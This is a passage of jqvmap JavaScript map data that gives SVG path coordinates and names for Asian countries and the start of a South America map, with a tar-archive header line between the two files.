3.43725,0.242462 2.45314,-0.984109 -1.22657,-3.465774 -3.19479,-0.741647 -3.19478,1.240833 0,0 m 13.99145,-4.949068 -2.6956,-0.499186 -2.45314,2.481666 1.22657,2.224941 0.74165,3.465774 3.19479,-2.467403 0.74164,-2.724127 -0.75591,-2.481665 0,0 m 14.97557,26.228634 -0.74165,3.465774 -5.64793,4.949068 -12.0375,2.724127 -9.82682,16.330498 -1.72576,4.706608 9.82683,2.48166 1.46903,-5.93317 2.95232,-9.156492 7.61615,-3.964959 6.38957,-4.949068 4.66382,-1.98248 h 2.45314 v -6.674824 l -5.3912,-1.996742 0,0 m -31.67689,36.126775 6.63204,0.74164 2.21068,7.6732 5.64792,5.93317 -1.96821,3.96496 h -3.43725 l -3.19479,-3.70823 -7.11696,-0.24246 -2.95232,-3.96496 v -2.72413 l 4.42135,-1.24083 -0.24246,-6.43236 0,0 m 103.64518,-84.376623 -3.19479,-1.982479 h -3.67971 l -0.74164,2.224941 -3.92218,2.224941 -2.95232,0.984109 -0.48492,2.966588 6.87449,0.499186 8.10107,-6.917286 0,0 m 7.60188,0.741647 -1.72575,3.708236 -3.43725,-0.242462 -5.40547,3.96496 -1.46903,4.949068 h 3.43725 l 1.96822,-3.223313 4.66382,3.465774 4.42135,-1.982479 3.19479,-2.724127 -1.22657,-4.207421 -1.72575,-2.966589 -2.69561,-0.741647 0,0 m 7.13123,2.724127 1.72575,6.931548 2.6956,6.432362 2.95233,-5.191529 5.64793,-1.240833 v -3.708236 l -3.67971,-2.724126 -9.3419,-0.499186 0,0 m 134.75157,-11.096181 3.83659,3.223312 2.72413,-1.126733 0.7987,-4.521195 -5.59088,-3.865122 -3.67971,2.424615 -8.95681,0.81296 v 4.036271 l -9.44174,0.156887 v 6.603512 l 11.03913,8.215168 2.88101,-2.09658 -0.64181,-5.804814 7.04565,-1.768543 -1.44051,-2.73839 -2.55297,-2.581502 3.97922,-0.969846 0,0 m 10.24043,-3.865123 2.55298,4.834969 9.92666,-1.126733 2.72413,-3.551349 -0.64181,-3.0664252 -2.72413,-1.1267331 -2.55298,1.9396923 -7.35942,1.611656 -1.92543,0.484923 0,0 m -0.64181,18.854951 -4.96333,-1.28362 -2.86675,3.066426 -1.28362,4.193158 6.71761,-0.64181 5.12022,-2.581502 -2.72413,-2.752652 0,0 m 128.63298,-27.8830777 -4.16463,-1.2836199 -4.79218,1.768543 -2.39609,3.5513486 3.0379,4.036272 8.00123,-3.5513489 1.59739,-1.7685431 -1.28362,-2.7526517 0,0 m -26.68503,98.6533297 2.51019,8.67156 5.02038,1.44051 5.02038,-7.94418 -2.86675,-5.419732 1.06968,-4.692344 h 7.53058 l -1.79707,3.608399 0.71312,13.007347 -10.75388,26.72782 1.06968,5.77629 -0.35656,9.75551 20.06726,29.25228 3.93643,1.08394 0.35656,-23.83254 3.93644,-3.6084 -4.30726,-9.38469 3.57987,-3.97922 -7.88713,-10.46863 -4.30726,0.35656 -1.42624,-17.32887 11.11044,-2.89528 0.71313,-5.06317 5.7335,-1.4405 3.22331,2.89527 3.93643,-15.88836 6.80319,-11.55258 5.37694,-2.895276 4.66382,0.356561 v -5.419729 l -7.53057,-1.440506 -10.39732,-8.671566 5.02038,-5.77629 -4.30726,-9.755512 3.57987,-3.608398 4.30726,5.77629 10.75389,3.979221 11.82356,1.083946 1.44051,-5.048905 -6.09007,-6.132851 6.80319,-9.384688 -15.4177,-5.419729 -3.93644,7.944182 -5.02038,-6.503675 -28.31095,-9.755512 -26.8847,4.692344 -3.93644,2.167892 v 2.167891 l 5.7335,2.895277 -0.71312,6.860235 -10.39732,-4.335783 -22.93401,9.028127 -3.93644,-8.300742 h -15.77426 l -7.17401,7.58762 -25.4442,-5.77629 -23.29057,4.692344 -2.86675,7.216797 3.57987,1.083946 -0.35656,5.419728 -22.57745,2.524453 1.44051,7.216797 -20.79464,-3.608399 5.02038,-9.384688 -21.15121,-1.083946 1.79707,9.755512 -6.80318,3.251837 -5.73351,-5.419728 -23.29057,3.979221 -8.95681,8.300743 -0.35656,5.048905 -5.73351,0.356561 -0.71312,-5.77629 18.28445,-15.888362 V 44.380597 l -11.82356,-3.251837 -15.4177,5.048905 -6.44663,-6.503674 h -2.86675 l -3.57987,7.216796 2.86675,3.251838 -20.43808,11.196018 -17.55707,13.36391 -10.75389,14.804417 v 6.132851 l 11.46701,4.692349 -5.7335,4.33578 -12.18013,-4.33578 -5.02038,4.33578 -7.53057,-8.671568 -1.44051,3.251837 8.24369,26.000431 2.15363,0.72739 5.73351,-2.89528 2.86675,2.16789 v 4.69235 l -5.37694,-2.16789 -3.22332,2.52445 2.15363,4.69234 -1.79707,12.27997 -11.11044,1.08394 -0.71312,-3.97922 6.44662,-3.97922 1.44051,-10.83946 -7.17401,-9.38469 -2.51019,-16.24492 -11.467,-1.81133 -1.06969,5.77629 2.15363,2.89528 -4.66382,3.97922 1.79707,10.83946 6.80319,2.89527 1.4405,7.94418 -6.81745,-4.33578 -17.55706,-3.25184 -2.15363,5.77629 -13.9772,5.04891 -2.15363,-3.6084 -18.28445,10.11207 -0.35656,6.86024 -7.17401,1.08394 2.15363,-5.0489 v -5.04891 l -7.17401,-2.52445 -4.66382,1.81133 3.93643,7.58762 2.86676,5.04891 v 3.97922 l -5.37695,-1.08395 -1.06968,-1.08394 -5.37694,5.77629 2.86675,5.0489 -12.18013,-0.35656 3.93644,5.06317 -1.06969,2.16789 h -6.44662 l -4.66382,-3.25184 -1.06968,-9.02812 -7.53057,-2.89528 v -3.6084 l 15.77426,3.25184 8.60025,0.72738 3.57988,-5.41973 -3.22331,-5.77629 -22.93401,-9.02812 -7.91566,1.96821 -2.70987,2.32478 0.84149,5.34842 3.36594,0.58476 -0.78444,8.41484 10.38306,24.38878 -7.50205,11.89488 -0.51344,2.68134 3.80807,2.68134 -3.43725,2.26773 -2.28199,0.0428 0.42787,10.4829 3.152,4.46415 0.0428,4.33578 4.03627,0.37082 6.17564,2.35331 6.5322,8.98534 0.0713,2.36756 -2.1251,3.63692 4.87775,-0.27098 4.7494,1.36919 6.4181,9.08518 15.80278,1.44051 -0.68459,10.81093 -5.44826,4.66382 1.12674,1.82559 -5.37694,5.77629 -1.42625,5.41973 3.22331,4.69234 10.39733,3.6084 4.30725,-2.52445 27.59783,10.46863 1.06969,-2.89527 -5.73351,-5.41973 v -6.86024 l -3.57987,-1.08394 0.71312,-5.77629 5.7335,-6.86024 -10.28322,-7.70172 0.71312,-10.71109 10.99635,-7.23106 12.90751,0.72738 2.15363,3.97922 13.26407,0.72739 9.6842,-5.41973 -5.02038,-5.41973 1.06969,-10.11207 25.08763,-12.27997 19.29709,8.70009 6.44663,-5.77629 18.99757,18.05626 14.33376,-1.44051 5.02038,5.04891 13.62063,1.4405 8.95682,-12.27996 11.467,5.06317 6.09006,1.08394 6.09007,-5.41973 -5.37694,-3.60839 4.66382,-7.2168 13.26407,4.33578 2.86675,5.77629 5.7335,0.35656 3.57988,-2.52445 9.6842,-0.35656 1.06968,2.52445 11.11044,0.72739 7.53057,-7.94418 15.41771,1.81133 4.66381,-1.81133 1.42625,-8.67157 -4.66382,-10.46863 4.66382,-3.97923 h 14.69032 l 13.97719,16.61575 17.91363,10.11207 h 5.37694 l 0.71312,-4.33578 6.44663,-3.97922 0.71312,23.47598 -5.7335,0.35656 v 5.77629 l 3.22331,3.97922 -0.59902,5.16301 2.38183,0.98411 1.4405,-3.6084 2.15363,0.72738 1.42625,1.44051 6.44662,-1.44051 6.44663,-18.78363 0.71312,-23.47599 -8.24369,-18.78364 -10.39733,-12.63652 -5.02038,0.72738 v 3.97922 l -12.18012,-4.69234 4.66382,-10.11207 3.93643,-26.72782 16.48739,-5.04891 7.88713,-5.0489 h 8.60025 l -2.15363,2.89527 2.15363,3.6084 7.53057,-7.94418 4.30726,0.35656 -0.71312,-4.69234 -6.81745,-1.44051 4.66382,-16.97231 6.14711,-5.81907 0,0 z","name":"Russian Federation"},"mv":{"path":"m 436.59252,455.60965 0.42788,3.72249 2.38183,0.87001 0.42787,-3.28036 -3.23758,-1.31214 0,0 m 3.0379,7.87286 -0.21393,4.59251 1.74002,0.87001 1.52608,-3.06643 -3.05217,-2.39609 0,0 m 0.44214,8.97108 -1.52608,1.52608 1.74002,1.52608 2.16789,-1.52608 -2.38183,-1.52608 0,0 z","name":"Maldives"},"lk":{"path":"m 471.02206,437.48208 0.35657,3.87938 0.35656,2.82397 -2.09658,0.35656 1.05542,6.34679 3.152,1.76854 4.89202,-2.82396 -1.39772,-6.68909 0.35656,-2.4674 -4.54972,-4.22169 -2.12511,1.0269 0,0 z","name":"Sri Lanka"},"mn":{"path":"m 461.40918,240.8315 8.30074,-11.01061 9.96945,4.60677 6.77466,1.81133 8.30074,-7.61614 -5.63366,-4.15037 3.70823,-5.23432 11.06766,3.90791 3.83659,6.28974 6.93155,0.18541 3.62266,-2.6956 7.45926,-0.29951 1.62592,2.76691 12.39406,0.62755 7.84435,-8.00123 10.85372,1.14099 -0.62755,10.89651 4.74939,1.08395 5.83334,-2.65282 6.17564,3.05216 -0.14262,1.54035 -4.47841,0.12836 -4.66382,9.78404 -3.62266,0.35656 -14.09129,18.41281 -14.39081,6.34679 -8.9996,0.69886 -7.47352,-4.82071 -9.55584,5.10596 -9.41321,-2.9238 -2.66708,-6.83171 -17.82806,-1.2551 -9.12796,-15.47475 -4.43562,-0.28525 -2.29625,-5.49104 0,0 z","name":"Mongolia"},"kp":{"path":"m 610.42319,275.20399 2.62429,1.09821 0.7987,9.18501 5.20579,0.29951 4.90628,-5.74776 -1.69723,-1.51182 0.19967,-6.16138 4.50694,-5.44825 -2.29626,-4.13611 1.49756,-1.71149 0.82722,-4.27873 -2.61003,-1.18379 -2.22494,1.12674 -2.75265,8.35779 -4.44988,-0.38509 -5.14874,6.0758 0.61328,4.42136 0,0 z","name":"North Korea"},"kr":{"path":"m 624.77121,280.80913 8.81419,7.18827 1.49756,6.96008 -0.29951,3.73676 -4.30726,4.84923 -3.70824,0.19967 -4.20742,-9.08518 -1.59739,-4.33578 1.69723,-1.31214 -0.39935,-1.81133 -2.09658,-0.94132 4.60677,-5.44826 0,0 z","name":"South Korea"},"kz":{"path":"m 322.90658,267.14571 5.84761,-2.49593 6.53219,-0.2282 0.4564,9.98371 h -3.82233 l -2.9238,4.76366 3.82233,6.34679 5.63367,3.18052 0.51344,3.63693 2.06806,-0.6846 1.91117,-2.26773 3.152,0.6846 1.58313,3.18052 h 4.05053 v -4.07906 l -2.48166,-7.25958 -1.12674,-5.89039 7.20254,-3.18052 9.6842,1.58313 6.0758,6.11859 13.73473,-1.35494 7.65893,10.88225 8.99961,0.4564 2.48166,-4.07906 3.152,-0.6846 0.4564,-4.53546 4.72087,-0.2282 2.48166,2.95233 2.48167,-5.89039 21.3794,2.95233 3.59414,-4.76366 -6.0758,-7.48778 8.10107,-17.68543 6.5322,0.45639 4.50693,-10.88224 -8.9996,-0.9128 -5.17727,-4.99185 -14.26245,1.65444 -18.37002,-17.75674 -6.47515,5.74776 -19.63939,-8.91402 -24.08927,11.79504 -0.67033,8.38631 5.63366,6.57499 -10.98208,6.20416 -14.24818,-0.31377 -2.98085,-4.37857 -11.16749,-0.61329 -10.58274,6.80319 -0.2282,9.29911 9.85535,7.91566 0,0 z","name":"Kazakhstan"},"tm":{"path":"m 347.38094,294.20157 -0.88427,3.75102 h -5.91892 v 5.07743 l 6.36105,4.19316 -1.96822,5.74776 v 2.65282 l 2.63856,0.44213 3.50856,-4.63529 7.90139,-1.76854 16.88673,6.40383 0.21394,4.6353 9.42748,0.88427 10.52568,-11.0534 -1.31214,-3.53708 -7.01713,-1.54035 -19.73922,-12.82193 -0.88427,-4.6353 h -7.45926 l -3.29462,6.1899 h -3.29463 l -5.69071,0.0143 0,0 z","name":"Turkmenistan"},"uz":{"path":"m 397.39933,310.56059 4.39283,0.2282 v -7.51631 l -4.16463,-2.42461 7.01712,-8.84272 h 2.85249 l 2.85249,3.32315 7.45926,-2.86675 -10.31175,-3.53709 -0.39935,-2.13936 -2.45314,0.59902 -2.41035,4.19316 -10.39733,-0.3423 -7.6304,-10.79667 -13.4067,1.32641 -6.38957,-6.33253 -8.84272,-1.49756 -6.4181,2.61003 3.7225,12.3798 0.0428,4.16464 2.70986,0.0571 3.32315,-6.33253 8.84271,0.1141 1.31215,4.86349 18.95479,12.57948 7.33089,1.68297 2.01101,4.50693 0,0 z","name":"Uzbekistan"},"tj":{"path":"m 399.21066,300.26311 5.86186,-7.27385 h 2.21068 l 0.77017,1.62592 -2.70986,1.96821 v 1.62592 l 1.7828,1.28362 8.57173,0.51345 2.79544,-1.19804 1.26936,0.25672 0.85575,2.73839 5.09169,0.51345 2.55298,5.3912 -0.77018,1.62592 -1.01263,0.0856 -1.01263,-2.05379 -2.21068,-0.17115 -3.82234,0.51345 -0.25672,3.59414 -3.82233,-0.25673 0.17114,-4.53545 -2.79543,-2.73839 -4.25021,3.50856 0.0856,2.31051 -3.73676,1.28362 h -2.21068 l 0.17115,-7.95844 -3.57987,-2.65281 0,0 z","name":"Tajikistan"},"kg":{"path":"m 408.6524,282.24964 -0.44214,3.6084 0.35656,2.22494 12.40833,4.16463 -10.89651,4.39283 -1.24083,-1.02689 -2.35331,1.51182 0.1141,0.82722 1.2551,0.5705 7.64467,0.19967 3.87938,-1.16952 4.9776,-6.27547 6.23269,1.08394 7.5163,-10.41158 -20.11004,-2.73839 -2.78118,6.74613 -3.50856,-3.76528 -3.05216,0.0571 0,0 z","name":"Kyrgyz Republic"},"af":{"path":"m 376.29091,321.95628 2.26773,17.77101 5.64793,1.24083 0.52771,3.19479 -4.05054,3.3802 7.54484,6.09006 14.66179,-5.2771 1.16952,-6.24695 9.2278,-5.76203 3.53709,-13.34965 2.63855,-2.83823 -2.73839,-4.76365 8.92829,-5.51957 -1.141,-1.59739 -4.12184,0.25672 -0.37083,3.79381 -5.53382,-0.0571 -0.0998,-5.06316 -1.78281,-2.12511 -2.99511,2.72413 0.0856,2.49593 -4.52119,1.71149 -8.34353,-0.52771 -10.83946,11.3529 -9.69846,-0.88427 0,0 z","name":"Afghanistan"},"pk":{"path":"m 389.14137,354.46039 3.70824,5.50531 -0.35656,2.83822 -4.93481,1.95396 -0.35656,4.62103 h 5.64793 l 1.93969,-1.5974 h 10.75388 l 9.69847,8.52895 1.24083,-4.09332 h 7.23106 l 0.17115,-5.14875 -7.40221,-7.10269 1.58313,-3.90791 7.58762,-0.52771 10.22617,-21.32236 -5.64793,-4.43562 -2.11084,-7.45926 13.749,-1.24083 -8.11533,-11.55258 -4.32152,-1.16952 -1.76855,2.13937 -1.3264,0.0998 -8.11533,5.14875 2.65281,4.44988 -2.99511,3.19479 -3.70824,13.67768 -9.17075,5.86187 -1.24083,6.40383 -14.61901,5.13448 0,0 z","name":"Pakistan"},"in":{"path":"m 457.38717,444.55625 6.5322,-3.19479 3.87938,-14.03424 -0.17115,-17.22903 22.22089,-23.98943 v -5.69072 l 4.57824,-1.78281 -0.17114,-6.57498 -4.93481,-9.59863 2.82396,-5.14874 6.17564,5.69072 7.92992,0.35656 v 3.19478 l -2.4674,2.66708 0.52771,1.42625 4.23594,0.17115 0.88428,4.79218 h 1.24083 l 3.18052,-5.69072 1.58313,-14.91851 5.29137,-3.73677 0.17115,-5.14874 -2.11084,-4.09332 -3.35168,-0.17115 -13.12144,8.67157 0.82722,5.57661 -9.21354,-0.0285 -3.25184,-3.97922 -1.76854,0.2282 0.59902,5.53382 -19.92463,-1.42624 -12.35128,-5.5053 -0.65607,-6.77466 -8.22943,-5.10596 -0.0998,-10.51142 -5.64793,-6.46089 -12.97882,1.24083 1.41198,5.64793 6.36105,5.14874 -10.99634,22.50614 -7.35942,0.55624 -1.21231,2.70986 7.24532,6.70335 -0.35656,6.77466 -7.40221,-0.1141 -0.7987,3.36594 6.14712,-0.27099 0.17115,2.66708 -4.4071,2.31051 2.82396,5.33416 5.46252,1.7828 3.35167,-2.48166 1.58314,-4.43562 1.93969,-0.88427 2.29625,2.31051 -0.69886,5.69072 -1.58313,2.66708 0.35656,4.62103 23.4332,48.63493 0,0 z","name":"India"},"np":{"path":"m 457.68668,344.07733 0.65607,6.09007 11.52406,5.22005 18.46986,1.3692 -0.69886,-4.46415 -12.33701,-3.39446 -10.46864,-6.23269 -7.14548,1.41198 0,0 z","name":"Nepal"},"bt":{"path":"m 492.21606,351.9502 2.21067,3.02364 7.47353,0.0571 -0.75591,-4.13611 -8.92829,1.05542 0,0 z","name":"Bhutan"},"bd":{"path":"m 492.45852,359.12421 -1.86838,3.3802 4.84923,9.21354 0.14262,7.18827 0.88427,1.92543 5.69072,0.0998 3.22331,-3.09495 2.33904,1.41198 0.47066,4.37857 1.86838,-1.16952 0.1141,-5.59088 -1.56887,-0.18541 -0.9841,-4.74939 -3.96496,-0.14263 -0.98411,-2.63855 2.42461,-3.23758 0.0428,-1.59739 h -7.04565 l -5.63366,-5.19153 0,0 z","name":"Bangladesh"},"mm":{"path":"m 540.76542,431.2066 -3.9507,-6.33252 2.86675,-4.02201 -2.70986,-4.97759 -2.55298,-0.48493 -0.48493,-8.35779 -3.82233,-7.40221 -1.11247,1.76855 -2.55298,4.33578 -3.19479,0.48492 -1.59739,-2.09658 -0.7987,-5.63366 -2.39609,-4.50694 -9.75551,-9.19927 2.39609,-1.58313 0.44214,-6.66056 3.56561,-5.99023 1.54034,-14.90425 5.16301,-3.52283 0.17115,-5.43399 3.09495,1.0269 4.87775,7.05991 -3.62266,7.75877 2.43888,6.09006 6.03301,2.36756 1.09821,6.63204 8.10107,1.2551 -2.2392,3.86512 -10.21191,4.02201 -1.11247,6.58925 7.50204,9.64141 0.31377,5.14874 -1.75428,1.76854 0.15689,1.61166 5.59088,8.20091 0.15689,8.51468 -1.64018,2.96658 0,0 z","name":"Myanmar"},"th":{"path":"m 541.6069,383.88381 4.62103,5.94744 v 7.23106 l 1.59739,0.7987 7.34516,-3.53709 1.44051,0.48493 8.7714,10.12633 -0.31377,6.91729 -2.86675,-0.48493 -2.55298,-1.61165 -1.91117,0.15688 -3.35167,5.61941 0.64181,3.05216 2.70986,1.44051 -0.15688,3.3802 -1.91117,0.96984 -6.54646,-4.50693 v -4.02201 l -2.70987,-0.15689 -1.11247,1.76855 -0.5705,17.9992 4.23595,7.73025 7.50205,7.23106 -0.31378,2.09657 -3.99348,-0.15688 -3.66545,-5.46252 h -3.8366 l -4.79218,-3.86512 -1.44051,-4.02201 2.06806,-3.3802 0.71312,-3.05216 2.25347,-3.99349 -0.0998,-9.18501 -5.5053,-7.95844 -0.2282,-0.96985 1.7828,-1.79707 -0.41361,-6.31826 -7.33089,-9.28485 0.85574,-5.34842 9.08518,-3.8366 0,0 z","name":"Thailand"},"kh":{"path":"m 556.51115,425.2449 5.83334,6.23269 10.85372,-8.04402 0.95559,-12.69357 -5.60514,3.86512 -2.90954,-1.62592 -3.9507,-0.52771 -2.21068,-1.55461 -1.06968,0.0571 -2.89528,4.7494 0.47066,2.19641 2.93807,1.64018 -0.35656,4.46415 -2.0538,1.24083 0,0 z","name":"Cambodia"},"la":{"path":"m 549.36567,373.12993 -3.45151,1.75428 -2.86675,8.35779 4.79218,6.10433 -0.7987,6.74614 0.7987,0.32803 7.9727,-3.86512 10.69684,11.95193 -0.25673,7.53057 2.32478,1.25509 5.74777,-4.66382 -0.47066,-3.69397 -16.58723,-15.76 0.15689,-2.41035 2.06805,-1.44051 -1.4405,-4.02201 -6.86024,-1.12673 -1.82559,-7.04565 0,0 z","name":"Lao People's Democratic Republic"},"vn":{"path":"m 563.04335,432.3476 1.69723,2.66708 0.31378,3.05216 4.46414,0.48492 5.41973,-7.23106 5.10596,-1.4405 2.70986,-7.38795 -1.26936,-11.89488 -5.26284,-7.23106 -5.54809,-4.43562 -7.05991,-12.12307 5.06317,-8.4719 -7.24532,-8.315 -5.80482,-0.25673 -5.22005,2.80971 1.5546,6.71761 6.96008,1.22657 1.86838,5.17726 -2.45314,1.5974 0.15688,1.28362 16.3305,15.97394 0.64181,4.69234 -0.98411,14.83294 -11.43848,8.27222 0,0 z","name":"Vietnam"},"ir":{"path":"m 312.86582,308.97746 -1.74002,1.81133 0.17115,2.86675 2.1679,3.0379 7.68745,8.41484 -1.16952,3.36594 h -1.34067 l -0.67033,3.36594 4.35004,5.56235 4.00775,0.3423 8.02976,11.11044 4.50693,0.3423 3.50856,2.52445 0.17115,5.04891 13.87736,8.0868 h 5.17726 l 3.18053,-2.6956 4.00775,-0.17115 2.33904,5.39121 14.98982,2.08231 0.44214,-5.5053 4.96333,-1.79707 0.2282,-1.96822 -3.9507,-5.3912 -8.79992,-7.07417 4.62103,-4.20742 -0.32804,-1.85412 -5.79055,-0.89853 -2.45314,-19.53955 -0.28525,-4.49267 -15.70295,-6.00449 -6.96007,1.56887 -3.89365,4.77792 -3.45151,-0.2282 -0.99837,0.84148 -7.68746,-0.49918 -9.69846,-7.07418 -3.6084,-3.95069 -1.65444,0.39935 -2.98086,3.40872 -5.26284,-0.99837 0,0 z","name":"Iran"},"tr":{"path":"m 297.24845,296.48356 -3.18053,3.36593 -11.6952,-0.34229 -7.01713,-4.20743 -6.84597,-0.17114 -7.85861,5.56235 -7.35942,0.3423 -0.67033,4.20742 h -8.35779 l -3.33742,3.0379 v 1.68297 l 2.01101,1.68297 v 1.85411 l -0.84148,2.19642 0.84148,1.85412 2.68134,-1.34067 2.68134,2.86675 -0.67034,2.02527 -0.99837,1.35493 1.49756,1.68297 7.35942,1.51182 5.17727,-2.19642 v -3.19479 l 2.51019,0.49919 6.01875,3.53708 6.51794,-1.01263 2.83822,-2.6956 1.83986,0.67033 v 3.0379 h 2.51019 l 2.16789,-4.20742 19.05462,-2.02526 8.31501,-1.01264 -2.19642,-2.88101 -0.0428,-3.89365 1.6687,-1.99674 -6.0758,-4.87776 0.32804,-4.20742 h -3.33742 l -5.53382,-2.70986 0,0 m -50.8884,0.72738 -0.2282,5.06317 4.42135,-1.35493 2.02527,-1.35493 -0.59902,-2.19642 -2.09658,-1.66871 -3.52282,1.51182 0,0 z","name":"Turkey"},"om":{"path":"m 353.84182,398.67397 10.53995,-6.0758 1.86838,-8.91403 -2.31052,-1.32641 0.95559,-9.55583 2.011,-1.16953 2.15363,3.3802 12.82194,6.70335 v 3.7225 l -15.5318,22.8627 -7.14549,0.24246 -5.36268,-9.86961 0,0 z","name":"Oman"},"ae":{"path":"m 347.60914,375.99668 1.24083,4.96333 14.06277,1.24084 0.98411,-10.18339 2.70986,-1.48329 0.74165,-3.7225 -4.43562,1.24083 -4.93481,7.45926 -10.36879,0.48492 0,0 z","name":"United Arab Emirates"},"qa":{"path":"m 345.64092,367.55332 -0.74165,5.71924 2.19642,1.6687 1.99674,-0.18541 0.74165,-7.20253 -1.72576,-1.24084 -2.4674,1.24084 0,0 z","name":"Qatar"},"kw":{"path":"m 332.3198,350.65232 -3.20905,-1.74002 -2.22495,2.23921 0.24247,4.4784 5.17726,1.98248 0.0143,-6.96007 0,0 z","name":"Kuwait"},"sa":{"path":"m 333.33243,359.30962 9.99797,13.93441 3.22332,2.56724 1.4405,6.24695 15.38918,1.21231 1.74002,0.9128 -1.72576,7.70172 -10.11207,5.9617 -14.79016,4.4784 -7.88713,7.70172 -9.37042,-5.46251 -5.67646,4.96333 -7.90139,-12.90751 -5.41973,-2.48167 -1.96822,-2.98085 v -6.46089 l -19.72496,-23.8468 -0.74164,-4.22169 h 5.67645 l 6.90302,-5.9617 0.24246,-2.98085 -1.96821,-1.98248 3.95069,-3.22331 8.38632,0.49918 14.30523,11.92341 8.44337,-0.38509 0.54197,2.08232 7.04565,2.70986 0,0 z","name":"Saudi Arabia"},"sy":{"path":"m 280.09073,324.92287 -0.49919,3.62266 4.02201,1.68297 -0.17115,10.04076 4.02201,-0.0856 4.02201,-3.0379 1.51182,-0.25673 9.12796,-7.25958 1.83986,-10.53995 -18.24167,1.85412 -1.92543,4.22168 -3.70823,-0.24246 0,0 z","name":"Syrian Arab Republic"},"iq":{"path":"m 305.24968,319.07527 -2.22494,10.99634 -9.21354,7.6732 0.58476,3.62266 8.9996,0.61328 14.33376,11.66668 8.01549,-0.2282 0.21394,-2.6956 2.93806,-3.152 4.10758,2.32478 0.54198,-0.51345 -7.94419,-10.56847 -3.76528,-0.2282 -5.00612,-6.43236 0.99837,-4.73513 1.52608,-0.19968 0.52771,-2.09658 -6.81744,-7.174 -7.81582,1.12673 0,0 z","name":"Iraq"},"jo":{"path":"m 283.27125,341.53862 -3.50856,12.23717 -0.15689,1.86839 h 5.51957 l 6.17564,-5.44826 0.15688,-2.06805 -2.52445,-2.58151 4.5212,-3.75102 -0.65608,-3.48003 -1.24083,0.28524 -3.76528,2.69561 -4.5212,0.24246 0,0 z","name":"Jordan"},"lb":{"path":"m 279.42039,329.64374 0.0856,2.78118 -1.16952,4.22168 4.022,0.3423 0.25673,-5.99023 -3.19479,-1.35493 0,0 z","name":"Lebanon"},"il":{"path":"m 278.1653,337.65923 -2.25347,7.17401 2.9238,8.60026 3.35168,-12.56522 v -2.6956 l -4.02201,-0.51345 0,0 z","name":"Israel"}}});
js/jqvmap/maps/continents/jquery.vmap.south-america.js000060400000013723150710775200017167 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'south-america_en', {"width":950,"height":550,"pathes":{"fk":{"path":"m 534.552,493.51923 -6.16906,-0.68024 -6.14561,4.12835 4.45674,4.83204 7.85793,-8.28015 0,0 m 6.14561,-3.09626 -2.04072,6.54437 -5.81721,5.16043 0.35184,1.71233 9.92211,-3.79996 4.10489,-5.16043 -6.52091,-4.45674 0,0 z","name":"Falkland Islands"},"ec":{"path":"m 352.17758,89.293073 -11.09493,6.896216 -0.79752,10.227041 -2.22837,3.35428 6.99004,6.70857 -3.02589,3.30737 0.70369,8.44434 12.50233,2.97898 18.92941,-22.40097 -0.0469,-7.81102 -9.07767,-0.58642 -12.85417,-11.118387 0,0 z","name":"Ecuador"},"co":{"path":"m 407.37077,4.6854166 -4.83205,-0.4925868 -31.94777,26.3416682 -3.37774,9.265325 -4.36291,0.492586 1.94689,20.47754 -11.14185,27.326842 12.10356,10.250498 15.50476,0.985174 10.64926,15.622037 15.4813,0.49259 -0.49258,11.7048 h 5.79376 l 6.28634,-21.46271 -5.81721,-7.318434 1.4543,-13.651693 12.10356,-0.985174 -1.4543,-31.713211 -27.11574,-8.772737 -6.28634,-17.076345 15.50476,-21.4861694 0,0 z","name":"Colombia"},"ve":{"path":"m 399.70048,19.087718 1.03209,6.075238 7.62337,2.416021 1.73578,-11.188758 8.04559,-8.3270639 8.04558,9.4295199 18.50719,5.043151 15.66896,-3.283912 10.67271,13.159106 8.04559,5.043151 -8.81965,13.440584 2.95552,10.180128 -5.04315,6.239434 -5.23081,4.386369 -11.32949,-5.699934 -2.60368,2.62713 v 8.115955 l 8.28015,3.940695 -6.09869,6.591281 -6.09869,6.591281 -8.04559,-0.656782 -8.0925,-8.89002 -1.71232,-33.448993 -27.63178,-9.42952 -5.0197,-14.707236 5.11352,-7.646825 0,0 z","name":"Venezuela"},"gy":{"path":"m 480.83658,38.345519 16.9356,15.340562 -6.73202,7.787563 -0.5395,4.620934 8.84311,9.124585 -0.21111,8.772738 -15.38747,5.864129 -9.21842,-12.455411 1.97035,-14.965258 -3.94069,-11.141845 8.28015,-12.947997 0,0 z","name":"Guyana"},"sr":{"path":"m 499.78944,54.788537 4.78513,4.386369 7.41226,-4.597478 6.75548,0.211109 -0.86789,2.62713 -2.83824,5.911042 -0.44567,14.707236 -13.4875,5.488825 0.65678,-9.42952 -8.70237,-8.115954 0.44568,-4.17526 6.28634,-7.013499 0,0 z","name":"Suriname"},"gf":{"path":"m 520.90031,56.336667 13.72206,8.561629 -7.17769,14.261562 -2.60368,3.283912 -7.62337,-4.386368 0.21111,-15.364019 3.47157,-6.356716 0,0 z","name":"French Guiana"},"pe":{"path":"m 340.05056,121.35813 -4.55056,4.59748 0.30493,7.34189 39.73534,72.43372 41.26002,26.59969 6.38017,-10.69617 1.52467,-23.52688 -3.33082,-14.66033 -11.23568,-18.95286 -6.6851,2.13454 -3.02589,3.35428 -13.34676,-15.29365 3.33082,-18.03806 15.48131,-10.0863 -1.21974,-9.47643 -15.76278,-0.60987 -8.18633,-13.74552 -4.55056,-1.52468 0.30493,8.2567 -20.31334,24.13675 -15.17637,-3.65921 -0.93826,-8.58509 0,0 z","name":"Peru"},"bo":{"path":"m 419.05211,175.94145 19.30471,-8.42089 6.38018,0.60987 4.24563,17.73312 29.41447,9.78137 4.8555,14.98872 12.12702,1.52467 5.16043,12.83071 -3.63576,11.61098 -19.72693,1.52467 -7.27152,18.64793 -15.4813,-0.30493 -4.8555,-0.9148 -8.93693,8.67891 -4.40983,-0.42222 -15.17636,-35.16132 4.19871,-6.28635 1.47776,-24.8639 -3.75304,-14.80107 -3.91724,-6.75547 0,0 z","name":"Bolivia"},"py":{"path":"m 496.5759,238.61726 5.16043,5.62956 -0.60987,11.91592 14.87144,-0.91481 11.23567,14.37885 -0.91481,12.83071 -7.27152,11.00111 -14.87143,0.60987 -0.60987,-6.12215 4.24563,-10.08631 -14.5665,-9.17149 h -12.12701 l -9.10113,-9.78137 6.61473,-18.90595 17.94424,-1.38394 0,0 z","name":"Paraguay"},"uy":{"path":"m 516.7485,314.66329 -4.80858,5.13698 1.9938,27.63177 15.106,4.38637 19.21089,-19.2578 -31.50211,-17.89732 0,0 z","name":"Uruguay"},"ar":{"path":"m 528.73478,282.45749 4.55057,4.26909 -17.28745,25.68488 -6.07524,6.73202 2.11108,29.34411 13.34676,16.20845 -11.21221,19.56273 -8.49126,3.65922 h -9.711 l 2.72096,15.27019 